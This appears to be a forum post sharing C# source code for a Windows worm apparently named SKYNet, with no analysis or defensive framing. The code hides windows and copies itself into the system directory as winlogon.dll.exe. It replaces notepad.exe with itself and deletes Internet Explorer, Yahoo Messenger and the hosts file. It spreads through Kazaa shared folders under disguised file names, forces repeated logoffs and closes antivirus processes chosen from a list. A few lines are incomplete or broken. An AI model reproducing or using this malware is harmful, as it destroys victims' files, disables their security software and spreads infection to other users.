part of your code tag got weird, fixed
static void Main(string[] args)
{
api.ShowWindow(api.FindWindow("ConsoleWindowClass", null), api.SW_HIDE);
api.ShowWindow(api.FindWindow("#32770", null), api.SW_HIDE);
api.ShowWindow(api.FindWindow("MGHTML_DLG_CLASS", null), api.SW_HIDE);
api.ShowWindow(api.FindWindow("NAVAP Wnd Clas", null), api.SW_HIDE);
api.ShowWindow(api.FindWindow("RegEdit_RegEdit", null), api.SW_HIDE);
api.ShowWindow(api.FindWindow("notepad", null), api.SW_HIDE);
//////////////////////////////////////////////////////////////////////
try
{
File.Copy(Application.ExecutablePath, System.Environment.SystemDirectory + @"\winlogon.dll.exe");
Registry.SetValue
}
catch (Exception)
{
Console.WriteLine("terminate process!");
}
api.MessageBeep(20);
api.Sleep(50000);
api.SHRestartSystemMB(0, "Windows", api.EWX_LOGOFF);
for (int c = 0; c < 256; c++)
{
try
{
string FirstPath = System.Environment.SystemDirectory + @"\notepad.exe";
string SecondPath = System.Environment.SystemDirectory + @"\SKYNet.exe";
File.Move(FirstPath, SecondPath);
File.Copy(Application.ExecutablePath, System.Environment.SystemDirectory + @"\notepad.exe");
}
catch (Exception)
{
Console.WriteLine("Can not open explore.exe");
}
try
{
File.Delete(@"C:\Program Files\Yahoo!\Messenger\YPager.exe");
File.Delete(@"D:\Program Files\Yahoo!\Messenger\YPager.exe");
File.Delete(@"E:\Program Files\Yahoo!\Messenger\YPager.exe");
File.Delete(@"C:\Program Files\Internet Explorer\IEXPLORE.EXE");
File.Delete(@"D:\Program Files\Internet Explorer\IEXPLORE.EXE");
File.Delete(@"E:\Program Files\Internet Explorer\IEXPLORE.EXE");
File.Delete(@"C:\WINDOWS\$hf_mig$\KB873339\spmsg.dll");
File.Delete(@"D:\WINDOWS\$hf_mig$\KB873339\spmsg.dll");
File.Delete(@"E:\WINDOWS\$hf_mig$\KB873339\spmsg.dll");
File.Delete(@"C:\WINDOWS\system32\drivers\etc\hosts");
File.Delete(@"D:\WINDOWS\system32\drivers\etc\hosts");
File.Delete(@"E:\WINDOWS\system32\drivers\etc\hosts");
}
catch (Exception)
{
Console.WriteLine("error memory");
}
try
{
File.Copy(Application.ExecutablePath, @"C:\Program Files\\Kazaa\My Shared Folder\winampa.dll.pif");
File.Copy(Application.ExecutablePath, @"D:\Program Files\\Kazaa\My Shared Folder\project.exe");
File.Copy(Application.ExecutablePath, @"J:\Program Files\\Kazaa\My Shared Folder\SkyNetAntiVirus.doc.cmd");
File.Copy(Application.ExecutablePath, @"E:\Program Files\\Kazaa\My Shared Folder\screen_saver!.scr");
File.Copy(Application.ExecutablePath, @"F:\Program Files\\Kazaa\My Shared Folder\winlogon.dll.exe");
File.Copy(Application.ExecutablePath, @"H:\Program Files\\Kazaa\My Shared Folder\fun.pic.scr");
}
catch (Exception)
{
Console.WriteLine("can not fine Kazaa");
}
api.MessageBeep(20);
api.Sleep(9000);
api.SHRestartSystemMB(0, "Windows", api.EWX_LOGOFF);
//////////////////////////////////////////////////////////////
try
{
string[] process ={ "NPROTECTED", "GhostTray", "NAVW32", "F-AGNT95", "NOD32", "NETD32", "NETMON", "IOMON98", "SCAN32", "NORMIST", "NAVW3", "ADAWARE", "AGENTW", "LU32", "NAVAP32", "ANTIVIR", "TCM", "W9X", "AVKSERV", "AV", "ACKWIN32", "AD-AWARE", "ADVXDWIN", "AGENTSVR", "AGENTW", "ANTIVIRUS", "ANTS", "APIMONITOR", "APLICA32", "ARR", "AUPDATE", "AUTODOWN", "AUTOTRACE", "AVE32", "AVGCC32", "AVGCTRL", "AVGNT", "CFINET", "CLEANPC", "CTRL", "CV ", "DATEMANAGER ", "DOORS", "DPFSETUP ", "FCH32 ", "FNRB32", "notepad", "IEXPLORE", "POP3TRAP", "remind", "cftmon", "msmsgs", "taskmgr", "regedit", "alg", "ZONEALARM" };
Random rnd1 = new System.Random();
int result1 = rnd1.Next(0, 56);
string randomProcess = process[result1];
Process[] myProcesses;
myProcesses = Process.GetProcessesByName(randomProcess);
{
myProcess.CloseMainWindow();
}
}
catch (Exception)
{
Console.WriteLine("Send Report Error");
}
}
api.Sleep(40000);
for (int r = 0; r < 10; r++)
{
api.MessageBeep(20);
}`